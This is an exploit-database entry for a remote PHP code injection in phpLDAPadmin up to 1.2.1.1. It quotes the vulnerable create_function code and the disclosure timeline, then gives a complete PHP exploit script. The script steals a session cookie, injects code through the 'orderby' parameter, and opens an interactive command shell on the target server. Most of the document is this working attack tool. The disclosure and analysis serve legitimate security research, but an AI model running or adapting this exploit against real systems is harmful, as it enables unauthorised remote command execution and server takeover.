phpLDAPadmin 1.2.1.1 Remote PHP Code Injection

2011.10.26
Credit: EgiX
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<?php /* ------------------------------------------------------------------------ phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit ------------------------------------------------------------------------ author...............: EgiX mail.................: n0b0d13s[at]gmail[dot]com software link........: http://phpldapadmin.sourceforge.net/ affected versions....: from 1.2.0 to 1.2.1.1 +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in /lib/functions.php 1002. function masort(&$data,$sortby,$rev=0) { 1003. if (defined('DEBUG_ENABLED') && DEBUG_ENABLED && (($fargs=func_get_args())||$fargs='NOARGS')) 1004. debug_log('Entered (%%)',1,0,__FILE__,__LINE__,__METHOD__,$fargs); 1005. 1006. # if the array to sort is null or empty 1007. if (! $data) return; 1008. 1009. static $CACHE = array(); 1010. 1011. if (empty($CACHE[$sortby])) { 1012. $code = "\$c=0;\n"; 1013. 1014. foreach (explode(',',$sortby) as $key) { 1015. $code .= "if (is_object(\$a) || is_object(\$b)) {\n"; 1016. 1017. $code .= " if (is_array(\$a->$key)) {\n"; 1018. $code .= " asort(\$a->$key);\n"; 1019. $code .= " \$aa = array_shift(\$a->$key);\n"; .... 1078. $code .= 'return $c;'; 1079. 1080. $CACHE[$sortby] = create_function('$a, $b',$code); 1081. } The $sortby parameter passed to 'masort' function isn't properly sanitized before being used in a call to create_function() at line 1080, this can be exploited to inject and execute arbitrary PHP code. The only possible attack vector is when handling the 'query_engine' command, here input passed through $_REQUEST['orderby'] is passed as $sortby parameter to 'masort' function. [-] Disclosure timeline: [30/09/2011] - Vulnerability discovered [02/10/2011] - Issue reported to http://sourceforge.net/support/tracker.php?aid=3417184 [05/10/2011] - Fix committed: http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin;h=76e6dad [23/10/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "\n+-------------------------------------------------------------------+"; print "\n| phpLDAPadmin <= 1.2.1.1 Remote PHP Code Injection Exploit by EgiX |"; print "\n+-------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /phpldapadmin/htdocs/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n"); $phpcode = "foo));}}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;/*"; $payload = "cmd=query_engine&query=none&search=1&orderby={$phpcode}"; $packet = "POST {$path}cmd.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1]}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; while(1) { print "\nphpldapadmin-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>


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